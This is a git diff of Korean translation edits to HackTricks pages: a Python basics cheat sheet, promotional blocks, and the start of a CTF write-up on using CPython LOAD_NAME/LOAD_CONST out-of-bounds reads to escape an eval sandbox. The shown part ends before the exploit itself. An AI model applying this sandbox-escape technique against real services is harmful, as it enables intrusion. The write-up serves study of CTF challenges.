2/3을 하면 1이 반환됨, 왜냐하면 두 정수(integers)를 나누기 때문. 소수점을 원한다면 부동소수점(floats)으로 나눠야 함 (2.0/3.0).\
|
||||
i >= j\
|
||||
i <= j\
|
||||
i == j\
|
||||
|
@ -46,8 +47,8 @@ isinstance(1, int) = True\
|
|||
"abcdef".contains("abc") = True\
|
||||
"abc\n".strip() = "abc"\
|
||||
"apbc".replace("p","") = "abc"\
|
||||
dir(str) = 사용 가능한 모든 메서드의 목록\
|
||||
help(str) = str 클래스의 정의\
|
||||
dir(str) = 사용 가능한 모든 메서드 목록\
|
||||
help(str) = 클래스 str의 정의\
|
||||
"a".upper() = "A"\
|
||||
"A".lower() = "a"\
|
||||
"abc".capitalize() = "Abc"\
|
||||
|
@ -60,17 +61,17 @@ sorted(\[1,43,5,3,21,4])
|
|||
‘a’ + str(3) = ‘a3’\
|
||||
\[1,2,3]+\[4,5]=\[1,2,3,4,5]
|
||||
|
||||
**리스트의 일부분**\
|
||||
**리스트의 일부**\
|
||||
‘abc’\[0] = ‘a’\
|
||||
'abc’\[-1] = ‘c’\
|
||||
'abc’\[1:3] = ‘bc’ from \[1] to \[2]\
|
||||
'abc’\[1:3] = ‘bc’ [1]부터 [2]까지\
|
||||
"qwertyuiop"\[:-1] = 'qwertyuio'
|
||||
|
||||
**주석**\
|
||||
\# 한 줄 주석\
|
||||
"""\
|
||||
여러 줄 주석\
|
||||
또 다른 주석\
|
||||
또 다른 줄\
|
||||
"""
|
||||
|
||||
**반복문**
|
||||
|
@ -98,55 +99,55 @@ t2 = (5, 6)\
|
|||
t3 = t1 + t2 = (1, '2', 'three', 5, 6)\
|
||||
(4,) = 싱글톤\
|
||||
d = () 빈 튜플\
|
||||
d += (4,) --> 튜플에 추가하기\
|
||||
d += (4,) --> 튜플에 추가\
|
||||
CANT! --> t1\[1] == 'New value'\
|
||||
list(t2) = \[5, 6] --> 튜플에서 리스트로 변환
|
||||
list(t2) = \[5, 6] --> 튜플에서 리스트로
|
||||
|
||||
### 리스트 (배열)
|
||||
|
||||
d = \[] 빈 리스트\
|
||||
d = \[] 빈\
|
||||
a = \[1, 2, 3]\
|
||||
b = \[4, 5]\
|
||||
a + b = \[1, 2, 3, 4, 5]\
|
||||
b.append(6) = \[4, 5, 6]\
|
||||
tuple(a) = (1, 2, 3) --> 리스트에서 튜플로 변환
|
||||
tuple(a) = (1, 2, 3) --> 리스트에서 튜플로
|
||||
|
||||
### 딕셔너리
|
||||
### 사전
|
||||
|
||||
d = {} 빈 딕셔너리\
|
||||
monthNumbers = {1: 'Jan', 2: 'feb', 'feb': 2} --> monthNumbers -> {1: 'Jan', 2: 'feb', 'feb': 2}\
|
||||
d = {} 빈\
|
||||
monthNumbers={1:'Jan', 2: 'feb','feb':2}--> monthNumbers ->{1:'Jan', 2: 'feb','feb':2}\
|
||||
monthNumbers\[1] = 'Jan'\
|
||||
monthNumbers\[‘feb’] = 2\
|
||||
monthNumbers\['feb'] = 2\
|
||||
list(monthNumbers) = \[1, 2, 'feb']\
|
||||
monthNumbers.values() = \['Jan', 'feb', 2]\
|
||||
keys = \[k for k in monthNumbers]\
|
||||
a = {'9': 9}\
|
||||
monthNumbers.update(a) = {'9': 9, 1: 'Jan', 2: 'feb', 'feb': 2}\
|
||||
mN = monthNumbers.copy() #독립적인 복사본\
|
||||
monthNumbers.get('key', 0) #키가 있는지 확인하고 monthNumbers\["key"]의 값을 반환하거나 키가 없으면 0을 반환
|
||||
a={'9':9}\
|
||||
monthNumbers.update(a) = {'9':9, 1:'Jan', 2: 'feb','feb':2}\
|
||||
mN = monthNumbers.copy() #독립적 복사\
|
||||
monthNumbers.get('key',0) #키가 있는지 확인, monthNumbers\["key"]의 값 또는 존재하지 않으면 0 반환
|
||||
|
||||
### 집합
|
||||
|
||||
집합에는 중복이 없습니다.\
|
||||
집합에는 중복이 없음\
|
||||
myset = set(\['a', 'b']) = {'a', 'b'}\
|
||||
myset.add('c') = {'a', 'b', 'c'}\
|
||||
myset.add('a') = {'a', 'b', 'c'} #중복 없음\
|
||||
myset.update(\[1, 2, 3]) = set(\['a', 1, 2, 'b', 'c', 3])\
|
||||
myset.discard(10) #있으면 제거, 없으면 아무 작업도 수행하지 않음\
|
||||
myset.remove(10) #있으면 제거, 없으면 예외 발생\
|
||||
myset.discard(10) #존재하면 제거, 없으면 아무것도 안 함\
|
||||
myset.remove(10) #존재하면 제거, 없으면 예외 발생\
|
||||
myset2 = set(\[1, 2, 3, 4])\
|
||||
myset.union(myset2) #myset 또는 myset2의 값\
|
||||
myset.intersection(myset2) #myset과 myset2의 값\
|
||||
myset.difference(myset2) #myset에는 있지만 myset2에는 없는 값\
|
||||
myset.symmetric\_difference(myset2) #myset과 myset2에 모두 없는 값\
|
||||
myset.pop() #집합의 첫 번째 요소를 가져오고 제거\
|
||||
myset.intersection\_update(myset2) #myset = myset과 myset2의 교집합\
|
||||
myset.difference\_update(myset2) #myset = myset에는 있지만 myset2에는 없는 값\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = myset과 myset2에 모두 없는 값
|
||||
myset.pop() #집합의 첫 번째 요소 가져오고 제거\
|
||||
myset.intersection\_update(myset2) #myset = myset과 myset2의 요소\
|
||||
myset.difference\_update(myset2) #myset = myset에는 있지만 myset2에는 없는 요소\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = 두 집합에 모두 없는 요소
|
||||
|
||||
### 클래스
|
||||
|
||||
\_\_It\_\_의 메서드는 이 클래스의 객체가 다른 객체보다 큰지 비교하는 데 사용됩니다.
|
||||
\_\_It\_\_ 메소드는 이 클래스의 객체가 다른 것보다 큰지 비교하는 데 사용될 것입니다.
|
||||
```python
|
||||
class Person(name):
|
||||
def __init__(self,name):
|
||||
|
@ -174,20 +175,20 @@ MITPerson.nextIdNum += 1 #Attribute of the class +1
|
|||
def __it__(self, other):
|
||||
return self.idNum < other.idNum
|
||||
```
|
||||
### map, zip, filter, lambda, sorted 그리고 원라이너
|
||||
### 맵, 집, 필터, 람다, 정렬 및 원라이너
|
||||
|
||||
**map**은 다음과 같습니다: \[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
**맵**은 다음과 같습니다: \[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True]
|
||||
|
||||
**zip**은 foo와 bar 중 더 짧은 쪽이 멈출 때 멈춥니다:
|
||||
**집**은 foo 또는 bar 중 짧은 것이 멈출 때 멈춥니다:
|
||||
```
|
||||
for f, b in zip(foo, bar):
|
||||
print(f, b)
|
||||
```
|
||||
**Lambda**는 함수를 정의하는 데 사용됩니다\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> 간단한 **함수**로서 lambda 사용\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> 리스트를 정렬하기 위해 lambda 사용\
|
||||
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> 필터링하기 위해 lambda 사용\
|
||||
**람다**는 함수를 정의하는 데 사용됩니다.\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> 람다를 간단한 **함수**로 사용\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> 람다를 사용하여 리스트 정렬\
|
||||
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> 람다를 사용하여 필터링\
|
||||
**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24
|
||||
```
|
||||
def make_adder(n):
|
||||
|
@ -223,17 +224,18 @@ def avg(grades, weights):
|
|||
assert not len(grades) == 0, 'no grades data'
|
||||
assert len(grades) == 'wrong number grades'
|
||||
```
|
||||
### 생성자, yield
|
||||
### 제너레이터, yield
|
||||
|
||||
생성자는 무언가를 반환하는 대신에 "생성"합니다. 접근할 때, 첫 번째 생성된 값을 "반환"하고, 다시 접근하면 다음 생성된 값을 반환합니다. 따라서 모든 값이 동시에 생성되지 않으며, 모든 값을 포함하는 목록 대신에 이를 사용하여 많은 메모리를 절약할 수 있습니다.
|
||||
제너레이터는 무언가를 반환하는 대신에 무언가를 "생성"합니다. 제너레이터에 액세스하면 생성된 첫 번째 값을 "반환"하고, 다시 액세스하면 생성된 다음 값을 반환합니다. 따라서 모든 값이 동시에 생성되지 않으며 모든 값을 포함하는 목록 대신에 이를 사용하여 많은 메모리를 절약할 수 있습니다.
|
||||
```
|
||||
def myGen(n):
|
||||
yield n
|
||||
yield n + 1
|
||||
```
|
||||
```markdown
|
||||
g = myGen(6) --> 6\
|
||||
next(g) --> 7\
|
||||
next(g) --> 에러
|
||||
next(g) --> Error
|
||||
|
||||
### 정규 표현식
|
||||
|
||||
|
@ -242,8 +244,8 @@ re.search("\w","hola").group() = "h"\
|
|||
re.findall("\w","hola") = \['h', 'o', 'l', 'a']\
|
||||
re.findall("\w+(la)","hola caracola") = \['la', 'la']
|
||||
|
||||
**특수한 의미:**\
|
||||
. --> 모든 문자\
|
||||
**특수 의미:**\
|
||||
. --> 모든 것\
|
||||
\w --> \[a-zA-Z0-9\_]\
|
||||
\d --> 숫자\
|
||||
\s --> 공백 문자\[ \n\r\t\f]\
|
||||
|
@ -252,39 +254,40 @@ re.findall("\w+(la)","hola caracola") = \['la', 'la']
|
|||
$ --> 끝\
|
||||
\+ --> 하나 이상\
|
||||
\* --> 0개 이상\
|
||||
? --> 0개 또는 1개
|
||||
? --> 0 또는 1회 발생
|
||||
|
||||
**옵션:**\
|
||||
re.search(pat,str,re.IGNORECASE)\
|
||||
IGNORECASE\
|
||||
DOTALL --> 점이 개행 문자와 일치하도록 허용\
|
||||
MULTILINE --> ^와 $가 다른 줄에서도 일치하도록 허용
|
||||
DOTALL --> 점이 새 줄과 일치하도록 허용\
|
||||
MULTILINE --> ^ 및 $가 다른 줄에서 일치하도록 허용
|
||||
|
||||
re.findall("<.\*>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>foo\</b>and\<i>so on\</i>']\
|
||||
re.findall("<.\*?>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>', '\</b>', '\<i>', '\</i>']
|
||||
|
||||
IterTools\
|
||||
**product**\
|
||||
from **itertools** import product --> 1개 이상의 리스트 사이의 조합을 생성하며, 값 반복, 카르테시안 곱 (분배 법칙)\
|
||||
from **itertools** import product --> 1개 이상의 목록 간의 조합을 생성하며 값 반복, 카테시안 곱(분배 법칙)\
|
||||
print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\
|
||||
print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)]
|
||||
|
||||
**permutations**\
|
||||
from **itertools** import **permutations** --> 모든 위치에 있는 모든 문자의 조합을 생성\
|
||||
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... 가능한 모든 조합\
|
||||
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] 길이가 2인 가능한 모든 조합
|
||||
from **itertools** import **permutations** --> 각 위치의 모든 문자의 조합을 생성함\
|
||||
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... 모든 가능한 조합\
|
||||
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] 길이 2의 모든 가능한 조합
|
||||
|
||||
**combinations**\
|
||||
from itertools import **combinations** --> 문자를 반복하지 않고 가능한 모든 조합 생성 ("ab"가 있는 경우 "ba"를 생성하지 않음)\
|
||||
from itertools import **combinations** --> 문자를 반복하지 않고 모든 가능한 조합을 생성함 ("ab"가 있는 경우 "ba"를 생성하지 않음)\
|
||||
print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')]
|
||||
|
||||
**combinations\_with\_replacement**\
|
||||
from itertools import **combinations\_with\_replacement** --> 문자 이후의 모든 가능한 조합 생성 (예: 3번째는 3번째부터 혼합되지만 2번째나 첫 번째와는 혼합되지 않음)\
|
||||
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')]
|
||||
from itertools import **combinations\_with\_replacement** --> 문자 이후의 모든 가능한 조합을 생성함(예: 3번째는 3번째부터 혼합되지만 2번째나 첫 번째와는 혼합되지 않음)\
|
||||
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3)']
|
||||
|
||||
### 데코레이터
|
||||
|
||||
함수가 실행되는 데 필요한 시간을 측정하는 데코레이터 (여기에서 가져옴: [링크](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
|
||||
함수가 실행되는 데 필요한 시간을 측정하는 데코레이터([여기](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74) 참조):
|
||||
```
|
||||
```python
|
||||
from functools import wraps
|
||||
import time
|
||||
|
@ -302,22 +305,23 @@ return wrapper
|
|||
def decorated_func():
|
||||
print("Decorated func!")
|
||||
```
|
||||
만약 실행한다면, 다음과 같은 결과를 볼 수 있습니다:
|
||||
만약 실행하면 다음과 같은 내용을 볼 수 있습니다:
|
||||
```
|
||||
Let's call our decorated function
|
||||
Decorated func!
|
||||
Execution time: 4.792213439941406e-05 seconds
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
|
@ -61,16 +62,17 @@ return 0
|
|||
|
||||
main()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# LOAD\_NAME / LOAD\_CONST opcode OOB Read
|
||||
# LOAD_NAME / LOAD_CONST opcode OOB Read
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**이 정보는** [**이 글에서 가져왔습니다**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
LOAD\_NAME / LOAD\_CONST opcode의 OOB read 기능을 사용하여 메모리에서 일부 심볼을 가져올 수 있습니다. 이는 `(a, b, c, ... 수백 개의 심볼 ..., __getattribute__) if [] else [].__getattribute__(...)`와 같은 트릭을 사용하여 원하는 심볼(예: 함수 이름)을 가져올 수 있음을 의미합니다.
|
||||
LOAD_NAME / LOAD_CONST 옵코드의 OOB read 기능을 사용하여 메모리에서 일부 심볼을 얻을 수 있습니다. 이는 원하는 심볼(예: 함수 이름)을 얻기 위해 `(a, b, c, ... 수백 개의 심볼 ..., __getattribute__) if [] else [].__getattribute__(...)`와 같은 트릭을 사용하는 것을 의미합니다.
|
||||
|
||||
그런 다음 exploit을 작성하면 됩니다.
|
||||
그런 다음 exploit을 작성하세요.
|
||||
|
||||
### 개요 <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
|
@ -31,13 +32,9 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
|||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
임의의 Python 코드를 입력할 수 있으며, 이는 [Python 코드 객체](https://docs.python.org/3/c-api/code.html)로 컴파일됩니다. 그러나 해당 코드 객체의 `co_consts`와 `co_names`는 eval하기 전에 빈 튜플로 대체됩니다.
|
||||
### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
따라서 이 방식으로 상수(예: 숫자, 문자열 등) 또는 이름(예: 변수, 함수)을 포함하는 모든 표현식은 최종적으로 segmentation fault를 발생시킬 수 있습니다.
|
||||
|
||||
### 경계를 벗어난 읽기 <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
segfault는 어떻게 발생하나요?
|
||||
세그멘테이션 오류가 발생하는 방법은 무엇인가요?
|
||||
|
||||
간단한 예제로 시작해보겠습니다. `[a, b, c]`는 다음과 같은 바이트 코드로 컴파일될 수 있습니다.
|
||||
```
|
||||
|
@ -47,11 +44,11 @@ segfault는 어떻게 발생하나요?
|
|||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
하지만 `co_names`이 빈 튜플이 되는 경우는 어떻게 될까요? `LOAD_NAME 2` 옵코드는 여전히 실행되고, 원래 그 메모리 주소에서 값을 읽으려고 시도합니다. 네, 이것은 out-of-bound read "기능"입니다.
|
||||
하지만 `co_names`이 빈 튜플이 되면 어떻게 될까요? `LOAD_NAME 2` 옵코드는 여전히 실행되고, 원래 있어야 했던 메모리 주소에서 값을 읽으려고 시도합니다. 네, 이것은 경계를 벗어난 읽기 "기능"입니다.
|
||||
|
||||
해결책에 대한 핵심 개념은 간단합니다. CPython에서 `LOAD_NAME` 및 `LOAD_CONST`와 같은 일부 옵코드는 OOB read에 취약합니다.
|
||||
해결책의 핵심 개념은 간단합니다. CPython의 일부 옵코드인 `LOAD_NAME` 및 `LOAD_CONST`는 OOB(Out-Of-Bound) 읽기에 취약할 수 있습니다.
|
||||
|
||||
이들은 `consts` 또는 `names` 튜플에서 인덱스 `oparg`의 객체를 검색합니다 (`co_consts` 및 `co_names`가 내부적으로 지칭하는 것입니다). CPython이 `LOAD_CONST` 옵코드를 처리할 때 무엇을 수행하는지 알아보기 위해 다음 짧은 코드 조각을 참조할 수 있습니다.
|
||||
이들은 `co_consts` 및 `co_names`로 내부적으로 명명된 `consts` 또는 `names` 튜플에서 인덱스 `oparg`에서 객체를 검색합니다. CPython이 `LOAD_CONST` 옵코드를 처리할 때 무엇을 하는지 알아보기 위해 `LOAD_CONST`에 대한 다음 짧은 코드 조각을 참조할 수 있습니다.
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
|
@ -61,21 +58,23 @@ PUSH(value);
|
|||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
이 방법을 사용하여 OOB 기능을 사용하여 임의의 메모리 오프셋에서 "name"을 가져올 수 있습니다. 어떤 이름을 가지고 있는지와 오프셋이 무엇인지 확인하려면 `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ...을 계속 시도하면 됩니다. 그리고 약 oparg > 700 정도에서 무언가를 찾을 수 있을 것입니다. 물론 gdb를 사용하여 메모리 레이아웃을 살펴볼 수도 있지만, 더 쉬울 것 같지는 않습니다.
|
||||
### Exploit 생성 <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
이렇게 하면 OOB 기능을 사용하여 임의의 메모리 오프셋에서 "name"을 가져올 수 있습니다. 어떤 이름을 가지고 있는지와 오프셋이 무엇인지 확인하려면 `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... 계속 시도하면 됩니다. 그리고 약 oparg > 700에서 무언가를 찾을 수 있습니다. 물론 gdb를 사용하여 메모리 레이아웃을 살펴볼 수도 있지만, 더 쉬울 것 같지는 않습니다.
|
||||
|
||||
### Exploit 생성 <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
이름 / 상수에 대한 유용한 오프셋을 검색한 후에는 해당 오프셋에서 이름 / 상수를 가져와 사용하는 방법은 어떻게 해야 할까요? 여기에 팁이 있습니다:\
|
||||
`co_names=()`와 함께 `LOAD_NAME 5`에서 `__getattribute__` 이름을 가져올 수 있다고 가정해 봅시다. 그럼 다음과 같은 작업을 수행하면 됩니다:
|
||||
유용한 오프셋들을 이름/상수로 검색한 후, 해당 오프셋에서 이름/상수를 가져와 사용하는 방법은 무엇일까요? 여기에 한 가지 요령이 있습니다:\
|
||||
